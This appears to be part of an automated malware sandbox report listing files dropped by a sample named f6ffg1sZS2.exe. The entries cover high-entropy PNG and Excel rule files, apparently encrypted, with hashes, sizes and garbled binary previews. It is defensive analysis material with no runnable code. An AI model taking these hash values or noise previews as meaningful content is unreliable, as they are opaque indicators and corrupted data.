C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{967E9DC2-54C6-4D72-9409-715F9A3F61E5}mt11829122.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	14457
Entropy (8bit):	7.98734695100854
Encrypted:	false
SSDEEP:	384:/XFZM328GwvdOympAdh7EwpQ1EfY2kv06Xum17gD:/XUZdjEexkc6XPY
MD5:	C756BBC9561DDDEF8AABAE1A6251D127
SHA1:	0B412C4B4A17C751741A65383CB24A444728C59F
SHA-256:	EB1937D8FC8F10783BAEDE126B6905ED84777FCA8994BE8EECC99BF6B68B1E43
SHA-512:	D292D4D7FDC9B991688B864E28AFED56585E1A480A69755F73AE127A54EC3F0A2135ADE4AB43A0CA2CF87DD92E08770529C2D2695AF66AFED9CB4B17E01F88A6
Malicious:	false
Preview:	.PNG..j.Z...z.h..=\.m.Khc^...Z7.#..R.4..... ....Z..,N..D..{.+W....y.A/..<.9(....%.co:D.qe7@....W.{.GO...DlQ.?}..e.1..J....=T.N..V....9.%.Jw...(.0.U^.w......T5.&.F..Go.5i$?b ,.t}.].....(.4..J.....w.....L......(.-...z...@.j..N..<...,.R.5B....P...6.\|.{..RU2Ek.l.Q\.I...v.=.l...%....7..$@].0....)./k..u...x..+z.^.Zq..kdH+..c.!..n....%.$..+..LIm.N\..c...]~lA......np.F.;..#..l..rX.W.#.(....Y......dy.....~....m@....(......t}..~<.....]......8uu#...H.Z.._L.ul.rS.!.fgF..D.R.~p\.V...w.`w.kM...p.P..,J.f~Z.m.Y...0..I..=%....q.8..U....i......@.\|..a-..7.")4..QK.U..]...zO.$.m....\|.-S...m... ............s....Z...&5.9.H.l F.#....=4pu{......Vsb.j.R%..o..+....X..4\/:.>...'....t@o&-.n...).sI.Q....J..-..._.?..QLm....S....z..7.E.......U........u.(.4...VH..A>.p.q.A...U..............=P..a..AE0...._..u$...9.`.E.E8dJg....l.k%zb ...>...I.3..P.M....2.Z..#....HsB.}y../..Ef.X.......3.<.....4..Ep..9.Eur1.l.E.P=.a.Z[F.=.L..X<..........B%..".....8.&...O...l_*Y.c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{A4858C46-92BF-4775-ADF9-F93EB4C5F636}mt66963475.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7986
Entropy (8bit):	7.976447810326326
Encrypted:	false
SSDEEP:	192:l45LdeaKX8g+V42YNZyg57kz37dTniTDVEh1lIAOR+d3K:l454LMPV9O67dC2h7nxK
MD5:	586FAC856D3BCF7FF0D279641CBECE4B
SHA1:	C67B2025A18BB91509FAEB8ECDA5794148E4C0F1
SHA-256:	B77CD474B8F656D7EA499529E277F6130405DDFF4CBF82A907166B5F804EDC4D
SHA-512:	66A74A43B4CA0CAEB417594FB803CC9B6E1F295359ACBB988A405934BA96029EB3C410971243E49622912F03D5CEE5C04A9F0B381DCEDB974E21B12DDBC4A33A
Malicious:	false
Preview:	.PNG.~..............sN$tm".=..#..1.......~TD..i8t..h..=..{.m.....i.\"X........+N...1.... .Y\.......?O[.V...q.P.....v58......w.+].JT..LHYy..F.+..~.o0.9.N.e.z......{e./.S`Gq`R"..Q=R....j.$.....%<".\'axD..b....N...9..Q..&7wY.1...<.]3.(.\|..>iEf......l...k_>.uA.,..s...4v...^..~.0cQ=`;v...j...m......o.&....x..Q.6~....G...1....MI...gT..J@hk........c)..........S....Z.P.%.....L[....Dd{........h...>..N.9.^.......`.3)...........j..+;.cb..\|=.K.G?M..0$w..1q;..^...n......}MR...X..; .}...F+pP.x.f......b&...b.k.3nB5E......0M.].,.....F.. ..e~..C.}....y.#1..W..G....Onw.MZ...&......m.JUC.3.[H.........,......$dk9fT<.........Y).w..Y......)\6)...vjw..o.?...[ZHL+f.....>......:`.G.:.mE......ug..h...=.D....o--.U0IH]gN..`.......5.X.;SJ.x....[...."..B.......M.U....+......S...........c.....8.An..:.5...;UL.\|..@.#...~..-M{7 ..Kp..v....[s..vK1....%\......h.)m.-...._..\|.G>4.6#].......N......[My?........./+...<....b.8".......POIf.J.6..b+Z{..W....Gs-.........:....Dn..!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{AA4547C7-FE83-48AB-9053-3A60F16A4C34}mt10000137.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	5293
Entropy (8bit):	7.9654139877071355
Encrypted:	false
SSDEEP:	96:3GEDrGMZTQsC5G6hcEM+j2W1lcXP4ywE0v1pC/BrrKgNPUyMz3vAHh+pDNs:7PGATcE6KJ+6WPC4zE0v1M/5rhNPZMrU
MD5:	67082E50E88610EDC6D5F623DDC29D82
SHA1:	1709594E4ED8F84CDD837AD4B63716A56682D8D4
SHA-256:	6C6348DCED215E27B951E6BEC96907820D22AD695B086F4A4E82D26A8A4C06A9
SHA-512:	DF9137C90FB328849854A98F3125A1307400404F0D06D75A76E30CB92B2DF0D6A720887128AB754666C8D6B8D3CD7A6904C28ECFC68C45B9DFE92A5DAA207F59
Malicious:	false
Preview:	.PNG.}.^.d?v%.&...xpdjabs...J....D.s...EP@U.......X.(.3X....<.............\.\T..../.._n...&....0\|.R9ZD....idC...}.......x......o...j==;..d}.j.1T...`.lbFvd.....Z.+%.z2. .?k/....y.m........].#.s.d.El.....%87.....7}R...Lc.6.......qW..(..p..............yx......wN...xi=.`...8....E.Y..DG.qF..`&n.../.......t.?.9.b.IN..v,R.u.d.;..HU..r.....(l^S.. y...Ia}..$a...~.3......7..@..W.]....'x.p....2....\....V!.6.:......fC..}.....N^W.....,.y..':.s:..._W#.d..o.D.^#g.[....Q.[..<..B../.NXa....f.X-....d..?..,..r....Y.3..H.....=H...!.@..K.^.......x...J...6..2I.o....[.wQ..kI+#..k..W.....E..'...b..R../.$.......&..j...$7..p..}3..R..a..s..[u.[..&.%....$...........e.0..o7./.u.O.p8m....0_!cTz..e.....q'^....{T.)@p.-...{...2@.x$..x..2........CK^.4K.?..w... ..=..A./....=#1..~.....i...@.....BM:O=.o..bw.N .h[.....A.[.0J....5U...#Z...[.wb.@o..D....-(.4 e.N."..Q.../f...w.,.l.f..!a$..A.gO....s......B.I...<d........<^./.w..^[.k)..Pb.X.,.>p..._.L]..7....%9..<~......~.]o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{F5FB5847-D24A-455C-A647-40C253091672}mt67739505.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	9080
Entropy (8bit):	7.982175696196201
Encrypted:	false
SSDEEP:	192:LWtv64eAxmt1y6+0XRk+Jvu8sdEaKrnqjsV/5pGGdJ3Ou2:sv6ZVy6+kRk+Jx8E7rb5L3OL
MD5:	E5110F1196B9176D83AA53F166EDD5F3
SHA1:	DDA0F6966FDDBED2AA045FBE2F7DDE656F601CDA
SHA-256:	7BFF7D1C72A6898EB65FAEE1537711E7A6FD4198BDE729983CC34E6217928077
SHA-512:	B67608D76594C1D35A53FE43B5B2F2616C399DE8218DF619C4DF68E33F076122048AC6DBDF60C0AAAE8F0DB24624277BF059C224B278A3B11836C95C4070FD59
Malicious:	false
Preview:	.PNG._.-e.!....p.O.4L!].!B.....f....kH-..r...F..8/..\........S5.../L..^.I..#...s..s......D.w.M.j>...!....~.v.1wz.g....a....6...xx...mC...?..r..Z..~5..b...F{..#..........r.....>.....Z..e....$..v\.....0..:...C$...m....M..eb........W5.^d.b .c.......d.9?:..L....~...x..,Y.Z.NE..NW..5............(..i...<^0.s....$ ..{+?......a.....kei...,.%.P..dX.8];\|..+..G..8.pOP....<Q.[E?...?.!.xr..1.I.m..Y.18!......-....@x.]Q..n.:....%Y(.3.....(..f.&.....,...".s>..K....#T.L.@=.O.EZ3G.p....2V..........o....s.Y1.D....E...U....m...fXKt....D...z...U1."VV-.\|q...Q..>..n...a[...:.7.....A.#..\xdf..o.%....D0...3...2...........{P.P....&...`......g..1.So........'.....P.\&.5V3.Z.........F+i..@.K.)z.......t.#P.=.(..B}@..x......}.'..b...%.O.......M!Or.'.q..Y.].^6.\.`#Z.iM..>...._.\;.+.rN......"B.L.K....@.1....-G..ca..\|.Ij:.k...v.lTL.R...2.....&.V{..h.a.B./#.5. ...+....,5.'j....e.M..+..c#..3.8n.RU.-x3....p.E...)..6.w...../.....n.SAH.....F..L.?[/.G..L.;.mq*.Un

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{FD5FD857-5A38-4C81-A322-3226BB279FAA}mt45299826.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	9025
Entropy (8bit):	7.981864272403966
Encrypted:	false
SSDEEP:	192:ZQt1VDDdQvdjHFjUU3ALWUMPadc9w5ykS8Qf6Iypsq5YLhcPy:uR9QvdTNocadh5Id2uhcPy
MD5:	3A36866AC5A871D51000E5B6B3DF8E38
SHA1:	6B2974E82E2B74E3B8F0575B05360BA33A60D036
SHA-256:	72C1340CBA28AF1F9FDF75FE136394D75ADB03E7F50F1DBF1498D3E51260CAE8
SHA-512:	AFA924BAC331EE74128A0EAD53DEC698B4DDBBA788DDA30C8311739797B330002625B7D95352B67C1F84BAFACCCDF64B2D06CDAB2FD215586D473C9B22BBB8F4
Malicious:	false
Preview:	.PNG......f....u;F.yl....2S...@0U.......O^~.s....J.[..(...s.1..@2$..O-.......].&.Z.L~ ..F.A..Z.i..Jq.C.I...L.7..,w.Z.'.\.a..p.@..N..r...../.... ..l.....n....iu..qt........G...m.,.\..H5..o.-.&......u...h..m.$6w.....9A.).Cp+..G.......f_.....=:[..~`..^.G2...P.0#o...H.yE......V.M....C....HPi....F.9.$b.....?...e]b.wp.@.7...%.g2f.E...c...T)...c##..&. .D..K.X.m....m.M.Hj.H..i..'$..C.l.!k..n...21"...8...@....Y$2..`.`\........i&T'. 3.v...d.Gex.T.!.c..:.+..w.}?.8)..32;....2...{I...Jt.gR&..O/=.^.3D.0..`X. V.u.s.....Vz..o..OK.}.(.#.q.vnJ.........#.....0..f..h.}{%.!.o.-...uh..sP...w.\Cm.u..k..r_h..^Q.s}x..A7\|.yf.........d..B.\..../.._..1.@TL..ts......A.D..e.QR...w[.?,2m..2...].=J.}^g.r....J...'.S...E..gX....&..d...I.....+..[...:.;.O...s.x.....i......<...X%2B.L.EH}..j\|hq..,.vL.t..G...GkV..c.....N.f..KO.4.x..el.t~-].?....J..%.MJ...Z..LK........WR6oI....M........;;V0.gf].].zJv.n..@.V.dH..I.....$E.4..7....C..^a9.{...........\..qs.7.T...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.725819533222074
Encrypted:	false
SSDEEP:	3072:CqvOsw7e3N3Q4vKJ5kTBVozjxHhSOqYFISsjfs4D8tNpFdU:dw7edOJ2VozjBhSOnvsbD8HU
MD5:	8B3FAB75A9359C12038128D7AA3DA1DC
SHA1:	1A1B283664C7B9EF06D652DE74A1344618132F55
SHA-256:	E607CD14FC1E9D9CBC7A8175569311A990446DDCFD1031703CC9C44349673FE9
SHA-512:	8ED1BF46CFA5991CE9C101684753D738833DC7FA062F19C7755CC4586CEDC1EA6B1C8A8D2E8E9565B6CE8E0DD1A3C83A26541DEB5F1D00628A038D632AF81F74
Malicious:	false
Preview:	<?xml.M.i.../....t.u...k."$\;=<wx.J>E.p........c!..M.\|...~AG.E..`.Tk...:v.o..u......g./..Q..^....7!....Q......m..........^Y.[LH.>(`.. ..........\<.x`..$5._.NxO.;...S]#...3...c%q(....H!..v..4.;.5.U....;..uBKn...b.Y....JQ^Jp.....e..^..T.q5.^.&..Y..T..\|.3....z..5(b?m...........h.qn9OD...7.;).j.....G..C...uu.;..Vp?f...!.....c.4......\|.....\.....Ms.^.H.....z.\|... .sv;.X'q^c.b.........];.N.!.<..Id..X..F.........-LM2 ..r.I.........!..c.-P..A...3\|..6.m..e..JJ#..B..r......"0...r.#.. )...qOkn.......C..x.O?2....)[KC~h...;N..I[...h..tV.X.r...~N0.?tv..6.],.../RN...{...........,"6..&..4...,...)....-.c...Z6b......s[....1R....N..Lh:.Q.......tzP..._ RX.a..G....Q.G..o1L8_.....E.....5.X-............i.u...D.{.\G.......M.."l..+.C.5xj1.%=...p.,.G...R9T...........M..9.>.a........./....Uj...O..#..rT....;....bE.J..a.;.WWc-I(..M.,`r-.[Ja.t.$....K)..:.4KA.L.ZyJ.........P.%..cW.w.{.a5......{.i.)..P..pa...Z.. ..h%X{._...a.....Z..C.:.O{P.uV.iV....J.....R...p..%....lg.n.8.S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100134v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.7266480227797825
Encrypted:	false
SSDEEP:	12:69oOIk7cpqRbL9WRYMNBLw2cZXYEvxRBcbKRltCtc9EF3YAS2cii9a:Oo/k7pbL+l65ZXYIhn0tc2bD
MD5:	3A91E60C4C74D100FCC5CD93448DA207
SHA1:	46975905A7506E8657A05DA7C4259FF465F2ED11
SHA-256:	42A7CF68B4726E7DB16F343D5DF6D3E5BDEC00369068AC03C441F0A2D19BB35C
SHA-512:	29380651A8EC00A8563F5CBA29D73301AFAC218AE793970427532FBD781B0DBF0187CA162486DF091664F8E91D0031A41E1CBCE6F643D49D6E481DECE9BCA0CA
Malicious:	false
Preview:	<?xml....S....7.S...".v.Nr:OTX......U..al~x.....LY.....a.....!^Ch?......{....4.m$.b.^h,....1GL`...tf!.<Yx..>\|......6.R.3.s.^F......@.z.5.....a.a.T....."..#...N.J..;.TD.#..$G...G...%.;./_..H......i..e.....:..p!K.q....;.........(..D..k.M.M.i.%w...;U.......V.o...`7.e.1.a...m..c.c...^6\.y.Ot......+2......-k.wA\S8.1...vq.T[.$.%.Xo.R..m......35;.o...m.J...&'..."..._%.......l.0.~H..i.......C:on...s.T...@q..sZ.;@../..9mI....Lq9.Tt..D.I.".P..U<...6....V.]o..)...D.TgI..!.. ..+....iHOn.&E....8C....L.E..:..g.._)>......)m...C.j.7.9A..F<....j..-..K7....].0'.dl...`.....\...o...H5-...;.`y.G.....~.Su.zc.yB?..U.j..b\|.1F..oc#$&\|.+..j...._..MC....(hX.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100201v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.692704544663225
Encrypted:	false
SSDEEP:	12:EXQIF7t9BK3v5dBiszaEHLobA/nmnRUcjTRxV2xPwK1cO8BDU/T5s5uGS2cii9a:+QIF7fYvHxrcA/mnCcjNxV2p1cO8BD2o
MD5:	9A9B115EF00B162518F11B5FD13B9D53
SHA1:	97B3BBD16229E911C9B8447241796AF8D97A675F
SHA-256:	3827CB9C5E5DDB231CAD1976E87E0F33E2DA842CECCC638F16CE3F05AD6A7652
SHA-512:	0569E02BDA61B01C109853D97BE158E4739D03E1D7827941E943DF5524215378207EE0DE60A9F819FED475D46FEE752CFE1024837B6D427527F85E90F73CF3B4
Malicious:	false
Preview:	<?xmlyr......Xr.[......!s:<.....T.8.J.;.}.=........'.cVs.j.S..ud....._.qq....GV..{_.,EA../.....!.E}Bj5.....%.;.e..mT..).......K......Q..fi....hj!...b.)..veT.....}..Bk.t}.iq..T...0.........G.{....z.E..9.....l...h.C..jn..i.6../...uS.(U....s...7.~.T.B.3u....g.VW.5.6&)..G.h ].N..#.'ol.?..).K.It..r.1n%....J.Ft`{C.a.5..~.o..i...F~-..d9.m..O....h.....".B.t.).C#..I...(....K..A. ;L%!.L..N.G..oZ....F^.Fu....2...]....g..'....>".N..P...^...6.....T..I....9......p.....R.....#HKa.y..q1....u...U....y.....ls%.~A.@..Ai.k..C.&^=.._]..@....-..7A.5.-cs@..jX.....T.....w...B........?..3j.m...3.h.G.$?....<...........}.....I..S.....M....o....)g....k..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100202v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	929
Entropy (8bit):	7.759977112315963
Encrypted:	false
SSDEEP:	24:o9I6EHy65pBgpdbpFnV/72PVwhvvU2q28frtpa6Bw9XFTDbpXuh+bD:oW6EL5/gz1FnV/8GuG8fpEXpHhuh8D
MD5:	32E7652E7D11C928A2AD925D598B4605
SHA1:	1CEA777203E5C7EDD3FE7C6650C82B0AFDDAE84D
SHA-256:	F51BC9326A3BF4F4671D8EFD025A7B6DFD3181FBFB4917F0B1C5F43A2B7A8827
SHA-512:	6CCC01BC8D61615631541FFCD626F60E41E4A2BFB637792E6DD6F1410F78621354A97412C97F476C8F05FF9B47690FEAEAE8EE70CAB9D244F1E651C74025FE42
Malicious:	false
Preview:	<?xml.E6..M...a...y}...e.#K.H..I...]g.....G.YQ.`... ...R=.7..Y$..A.dgI..r+..K}I..#G(..S....Id..F.6).Q...0...K.a.....k..v.w...........0aR.W.........R....cvq.../.!B^?m/.R.N........Y..o.-.tM8..;.(.....,6..#Z.....:...c.6....uWY(.......{=..-.Rm...(.k......s.:.....}.gB.F..H5..c1.a.. :..q.h...........k..,../j.=.u.X...+..9A....t.SIRrm...<...\|...;@9.....U.g..K......p.<p'....5...O..\.(. .....(.g..[...nh/A...p%.H...m).p..".8.../r.[.,.1C.D....:6.._.t;....$B\|.J..w)8.D............ b.H....m ...,..@w.P..I.!......?y."..V..=....cI....(b...hk....z.r......6O...y.O.i..r.FjV...'...R..3.Hqe..V.=vt(..>-...J.... .j....n....C..=..t.t..L.?=.z..d.BqDN....._sb..I;.......GhS`.h....!..W5....`.....2.Q.,w,7....)...)S.._.E...B..m.'...N ..TX...@$.<].`..c.C...g./."`s._Y..O.j..5....>..._u...fLEMp.......f.@.s..3z.n.H......?.W......3SLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.8630061194963945
Encrypted:	false
SSDEEP:	24:MlB4Aozx7xwOPB8b2fHBgcUFhpXEhVhN4KPeb/6kxBWd2E6sGQNKfSoPbD:kB4AU7CNcUzNcH4+eNEWaK/TD
MD5:	B41555F1126ED3207C01C7F5339F1A0B
SHA1:	E61A597AABF4DEA73FD3710AF0D838750E62F353
SHA-256:	4DBBC03154BA5C7665A2BFAD1DDBE6A4CACCF0A34424098A3144077E87EC3B30
SHA-512:	9AAA18B2F6E4ED802234D420BACDF8E1F805BE3D4FA79F5DC8CE91C899D6048E16E9E9626D60271F170F1C62CE4C8B5E638AFCC58F2E5E33963A8EE52394421E
Malicious:	false
Preview:	<?xml...f..%m...pi......h.u...o..w..XS.z.\|_..gh.e.^..W..vo..`...R.l(.../.....T.~.?v..N...;8..c..{vQ.>...o..Ej.D..$........\.......h....&O..\.R....7..T.S2.Y.#.q...B.....6.h._..J...!..4R.....-.`...."S..{/.d.2I.3$o....#.U..L..QBA.yT.Ax.e.F..H...s.....T..P..\..4..td.[..5.R.s........7......s~.q.E.........=.d..C....f..=.).U.....m..@.e..`{.?..)..[..O....m5..\.X.y...@w.l.7zW.AN.....+'.H.3,.)'...............<6@...G.q.....J....b.......:.~..%.,LR.LJ...#..UY..t..L?f..!..i.M....cm....E......J...e.....I..:eM.T..6...2...w.`..".Y..tCy(~g\|...\|;S.l.8.....=.:.[3.U.70-..Xg...X.yV....yw.....i....>D.j.WH....O..',.x..s.Ia.W[k...@U...8,.....+..)Y..@.<.Sk."..^u....S7bH..H....=.B<C....WR.C..]....~I..Q.n.....5.eM.4.m....cNl..\|......(..1.Y".<~...=....LP..z2G..OJ....FK......k-{.'V..4m.j...-.....t&;..7!a.1p.G2.".....z0.%..Mi`u..'..V^.F..AeBvU&=l...u.5m....%.g...;..2..;d3.."....!\|*<.r.}..6..W.....k.K...............s;..........)..`F4.Sa...`H.u..mT....N....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.934010941308547
Encrypted:	false
SSDEEP:	48:S0bamCTE6PMEDmXZ4bSpxikc7iDOz2WzgnupRSz27ENv/zBnsxoty2Y1obMWSD:R70vDmXZ4bSdhCzJql2s/zBJDooz6
MD5:	BF1E6F380C4C5E8A906BAB0388D2C749
SHA1:	93D8242257593FAF7A2041D5896AD2AAD1937E49
SHA-256:	1903DBC09249894802DB5B7E9B39D14540D9DC9C3FD66DC72A742C925DAC35D7
SHA-512:	48F012B086C0B56159ACDBDCFC905E7DF63006665330E8BB474187AD321C51FD92BA21FC6A15FFCEABF2DABA368C2A643E35CB40F5897E42F3F0A9954115144B
Malicious:	false
Preview:	<?xml`..M..jFj. ..&.6".....`..p.d]..!8....S....X.../.k.........Y.E[...o-..]...F..sFrOR.j..2Nf..F\a.../.......8.....UF..<.Z8...w...7.....L.....2.F.E..FCI._.8..l..)4.....h....3..x.$...u....kW+..Z..8..D..G.........fB........Qq..&..d..*q.K..=..]c.bif.<..A^.zWG.......{.?...3..Z.6U[.=.H..;..g..UP.Z.%m.[...e...+..{...!.p\I.'.\|B..f.s%$W...]....u...x....._."."..1..>.._]..iX.....un...Q{N .Eu.D.6..^V.{.0.....i.......q5..B..%(7'....O..MXtu...qk......7..>I.%e..6..`.E.,jK(.....LH.Z..I...-.1...=.`....[.....K.f......b..".P.....9.eaq..1.`..Q.D....'..E,....h...cI.=L9...R.L...W..q..G.....V^p@.......I...D \.;..P..._....:<..3L.E.z.c.z..O.....sH..oq,&.\|.U.P...G...A.....?.]...T.z........(.X)..^.....}..qA.).g.j.ZG...zc.Q.b..S..vyV..1.(WY.n%.@....M-..o....[.9.ZQC...3+....j.N1..C.\#.Go...]...<..).,....Wm./...r+o#..#...4.-.a...X.X.D!.2....4..k.V._..k.7...!#a..6=.E....<ro&...C...@C..\...h.H'<...r.....5..}.XE...A{...K.....eE..`.....r...6.5.....o_..7....Dhl

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.883700879781871
Encrypted:	false
SSDEEP:	48:mY6gJXVJh9UwsZuKxoXKyUNogt+DA4xxaG4yD:2gJXDEwlaPya0DAwxaG4a
MD5:	858EEEF049FC6B2B6CB3CA7ED18E26AB
SHA1:	F27377058B43831677DE804A35CAEA4CA8B7A5D9
SHA-256:	DEA24BE21923437E82463C72669AB7F9DF797BCEB034A079A4782EBED0D4D566
SHA-512:	A39AC7861EE2288414E6FF60ED6BEFB109698D01B1610F61650E200F3E39D0558F46BE3201AE74F01D43AFA610DC485B127326598F38538A1B8507EDAE00EF27
Malicious:	false
Preview:	<?xmlX}L.\...TP.....o...W..#.t..5.Z~..o.%..M.u.....yg$.O...d.t1.UV..^..6..7"....n.g....Y..."b..Z....c6........d.W...f!<D.N..j........"->...'O#...KQ.9s........@.{.."f}.3@..T.C..$...6.. .....i.Qn..n.-,...0v.e..+...pN.#....;...aN.........1...w..=...4...&.'.Y.JtHY..."7ix..U.3.l..A.gx..E.e......S.u...B....2.Yx..Q(..a.?'Rtn..AC......D..^..I.N.>...c.Y....r9e.\.r>...I....SEL.I...U.......@H..L......@..{.@...7.....+.W...-K'p.....$..!/.............k.}y.s.......\.N.3P..&...'......l>aQ.e......,..o.!p.j...m'._.G^....<.+......9....D...;6...(6.j..>.@Nw>xUU3..K~]....=.BS...-.L2....$.....O.'.zF.bF2.....A..q.kr....h.M....8b.n.N........}"J!q.5....l<...5..U.'8;&..+9..:..l.qXW.Ge....w3.....L...X... .%.J@....m.W..?Dub....9.0....Y......TF........dbO.......s.L%....5..<.C.....o..3.yF......'2##D..Z.$tZ.N.bB..u...m&........aR...\|...."oe36nn..Y.'..Ok7.B... ..z....-.F..^..6.....*...=..2.$W..N.}-..:.p.-N...~.P..-.T<.\|wp..6.8...K.u...+.rO..S...`......L..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.910747247064104
Encrypted:	false
SSDEEP:	48:MkPOllLBKzwUBmtu/sFxBmMyQxQB1igq3ywA4A9hFH6D:MzlNwMbfFxB2UQBN2rfA9hk
MD5:	D30ED1C3BCE28C68F1B6E11CCD05CF56
SHA1:	AE08A7DFF2CCEA0A16BFB88198D967035972A75B
SHA-256:	010113B1FFF57E66F82BFB8DB81C20820660A9E6674511A312FBF78EDB891B54
SHA-512:	5E115CC947928C4A464888987E25EBE58BFD920CAC771134506B997D3777786527BA7805F74CD5453116E70FDE94DCF9748CEF80A66A775A30C1055EABB2B76F
Malicious:	false
Preview:	<?xml..L...}..........T...hu.._..5..e'v...'v+./..........R.......\|p...B...i.......... ....si....o._I"..a...R..s.c.%a0.<]..^c.Y.(M..h..+..)..M.....S.c...1&....`,qMX.._....YmQ..l.0gLu)#.Sa+....c.s1. .YI.....#....;%.tE$..a.{u[..nv.^.0....,..q...z..b......Au......'......_..).b.fr~NU<../..JB...jy...&Nej.:<...H.JgW@.tl...Yv..d!...S.F`.......cJ~ V%...;...u..3.vE.....Y5... .!k..i.../.%..xk.2..\.A`.wf.6....Y.fN/_......g.....NP&...I..M...3.Ie.UL%J;s..xF..7.C....../r..S..4....a.k....$....\.J.K\.k.;.. .}J..F..b.O.<.:.-..g.G...S.xy%...R.....e1..k..j+w..}..Z..7...e..l....].N..".%...;..2.o...-.A....=..SB..;.$.]-.y.VK.hE.dBOR.x...I...w8...%.p......._{ ..jb..,.\8.G....q}....~S ..O.Yq...]..5.$..,.C.K...;.!.3.._."....%,...&tVXz..%k$?...6..(....f...T\.F.{.....k.$.X>......_g..1W.g.g..ZW....-.x......;.'~.....X{,.8.jf...p_..\|..[y..G.....T(..@...@...&.[..,.N,.....~.+u.^WCf..O..B\|k...B@.~F...4%.,g^..o...1...H....m..K..J..&x..Nd.n_s.;........R.fem#.5....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.741288932908972
Encrypted:	false
SSDEEP:	24:dz2nPV2GHP21aCQGKuMMjLoXPc/LEwZLJKk1qmIIbD:Fu8Q5GKgjs2LZZLc6dISD
MD5:	F688F9123395AB3037CDD57B08048A97
SHA1:	A2F884C67D7CDCBEAB45CAEC14620B504E7F43AB
SHA-256:	7367EA883F02CE210C723DBB7B72520C657319089FD3B90CB9801B2EAB30D030
SHA-512:	4D0666662F96970E4F520E9422D24CC5E6FC6313F0B85EA53E195323379D18D7B3EFB38D965E4C9329C435FEA01B19043524ADE2BCF5FCE83BE10378A1E8BDB1
Malicious:	false
Preview:	<?xml..(n..E.)...0...`O.N................w.pc.0...GI.U#[.E...l..F.Vw7w.-.s.\|..H..5I(..5...k}.........uP.Zv.......m..{....eT..?C..Q.......U.......WO.....S...k.gG...I).......?z.8?.8M._`.nG..[.g`.`:_TaI..u!.O.....1{.K.C2.#f/....iVhqtBK..J...I..Z.3]+i.:...c..w....._.c./.P......@1\AL..jb...>....u.....v.).Kd.......=..*.E~..!.F...\|.....@...........8..@.^d....H.f....3.^E6.........i.;.Ru/_zu".$S>..pS.../1...._..G...(..}..t:.z....%.......7B.....K....k6.:.>......dO.....2..$..8\1r..3..-.,...._b.c...B..T.jQ.++!yH-.\.....)..HN.....I.....J.a...X...u.zlM..4~.-.3).mB....-./...R.n.}.......wY.....a.L2X.v....s....5......].Y0.......S...3.,....GJ..K..b....G..AD....Z..,w.8..iV.........d4..Vq..e.....jLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.89813178011459
Encrypted:	false
SSDEEP:	48:ON0YjICwkQZZ3urwI84Zzcb2T3K+rat4Lh33+YGJSasA8ZwAAtW9mKD:KxFtk4ZYtiuxJBsAAtAtW9mC
